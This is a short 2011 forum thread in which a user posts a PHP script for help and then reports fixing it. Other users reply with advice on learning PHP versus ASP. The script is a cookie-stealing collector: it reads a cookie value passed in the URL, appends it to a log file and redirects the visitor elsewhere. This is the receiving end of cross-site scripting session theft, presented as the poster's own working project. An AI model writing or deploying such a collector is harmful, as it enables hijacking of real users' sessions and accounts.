Would you like to react to this message? Create an account in a few clicks or log in to continue.

You are not connected. Please login or register

View previous topic View next topic Go down  Message [Page 1 of 1]

1Having troubles with this code.. Empty Having troubles with this code.. Tue Nov 08, 2011 5:35 am

preset

preset
Fresh Meat
Loading
Code:
<?php                                                                                                                           
$cookie = $HTTP_GET_VARS["insert cookie here"];
$ip = getenv ('REMOTE_ADDR');
$file = fopen('inserfilenamehere.txt', 'a');                                                             
fwrite($file, $cookie . "\n\n");
header ("Location: /index.php");  //<-------After it redirects to another page.
?>

Not sure if I'm doing something wrong or not?
The code doesn't work..?
Help would be appreciated..



_update
Never mind, I wasn't implementing the $file correctly.

2Having troubles with this code.. Empty Re: Having troubles with this code.. Tue Nov 08, 2011 11:23 pm

Marcus

Marcus
Contributor
Loading
I don't know much PHP so I am not gonna be much help.

Don't use PHP, use ASP.

3Having troubles with this code.. Empty Re: Having troubles with this code.. Wed Nov 09, 2011 12:23 am

preset

preset
Fresh Meat
Loading
Marcus wrote:I don't know much PHP so I am not gonna be much help.

Don't use PHP, use ASP.
Best way to learn?

-
Using w3 schools for now

4Having troubles with this code.. Empty Re: Having troubles with this code.. Thu Nov 10, 2011 11:03 pm

Marcus

Marcus
Contributor
Loading
W3Schools is horrible. They left out so much on HTML and so much when I tried PHP. It's better to learn from youtube.

Sponsored content


Loading

View previous topic View next topic Back to top  Message [Page 1 of 1]

Related topics

Permissions in this forum:
You cannot reply to topics in this forum